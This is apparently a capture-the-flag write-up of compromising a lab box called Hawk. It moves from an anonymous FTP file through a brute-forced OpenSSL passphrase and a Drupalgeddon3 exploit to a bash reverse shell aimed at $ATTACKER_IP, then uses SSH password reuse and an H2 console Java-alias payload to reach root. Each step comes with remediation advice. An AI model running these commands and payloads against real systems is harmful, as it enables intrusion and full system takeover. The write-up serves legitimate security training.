Hawk
Summary
I fully compromised hawk ($TARGET) starting from an anonymous FTP download of an OpenSSL-encrypted credential file; brute-forcing a weak passphrase against rockyou.txt recovered the Drupal admin password [REDACTED: recovered credential]; an authenticated Drupalgeddon3 exploit (CVE-2018-7602) delivered remote code execution as the Apache user www-data; the Drupal database password stored in plaintext in sites/default/settings.php matched the Linux user daniel's SSH password, granting an interactive shell and the user flag; and an unauthenticated H2 database console running as root on localhost was exposed via SSH port-forward and abused with H2's built-in Java alias feature to execute OS commands as root, achieving full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -sV -sC -p- --min-rate 5000 $TARGET -oN hawk_full.txtcurl -s http://$TARGET/CHANGELOG.txt | head -5Exact commands 2
wget -r -np --user=anonymous --password=$PASSWORD ftp://$TARGET/ls -la $TARGET/messages/FixDisable anonymous FTP and restrict file shares to authenticated usersCritical
Exact commands 2
for pw in $(cat /usr/share/wordlists/rockyou.txt); do openssl enc -d -aes-256-cbc -in $TARGET/messages/.drupal.txt.enc -pass pass:$pw 2>/dev/null && echo "[+] Passphrase: $pw" && break; doneopenssl enc -d -aes-256-cbc -in $TARGET/messages/.drupal.txt.enc -pass pass:$PASSWORDFixNever distribute credentials in files protected by weak passphrasesHigh
Exact commands 1
curl -sS -c hawk.cookies -X POST http://$TARGET/user/login -d "name=admin&pass=$PASSWORD&form_id=user_login_block&op=Log+in" -D - | grep -E 'HTTP|Location'FixUpdate Drupal to 7.59 or later to eliminate CVE-2018-7602 (Drupalgeddon3)Critical
Exact commands 4
curl -sS -b hawk.cookies http://$TARGET/node/add/article | grep form_tokencurl -sS -b hawk.cookies -X POST http://$TARGET/node -d 'title=test&body[und][0][value]=x&form_id=article_node_form&op=Save' -D - | grep Locationpython3 drupalgeddon3.py http://$TARGET "$PASSWORD" <node_id> 'id'python3 drupalgeddon3.py http://$TARGET "$PASSWORD" <node_id> "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"Exact commands 3
cat /var/www/html/sites/default/settings.php | grep -A5 passwordsshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no daniel@$TARGETcat ~/user.txtFixUse unique passwords per service and disable SSH password authenticationHigh
Exact commands 4
sshpass -p "$PASSWORD" ssh -N -f -L 127.0.0.1:18082:127.0.0.1:8082 daniel@$TARGETcurl -sS http://127.0.0.1:18082/CREATE ALIAS IF NOT EXISTS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; } $$;CALL SHELLEXEC('cat /root/root.txt');FixDisable the H2 web console in production and run H2 as a non-root service accountCritical
Attack patterns used
The transferable techniques behind this compromise.
CMS Exploitation (WordPress/Joomla/Drupal)WebT1190
What it is
Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).
Why it works
CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.
Read more
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 21/tcp | ftp vsftpd 3.0.3 |
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |
| 5435/tcp | tcpwrapped |
| 8082/tcp | http H2 database http console |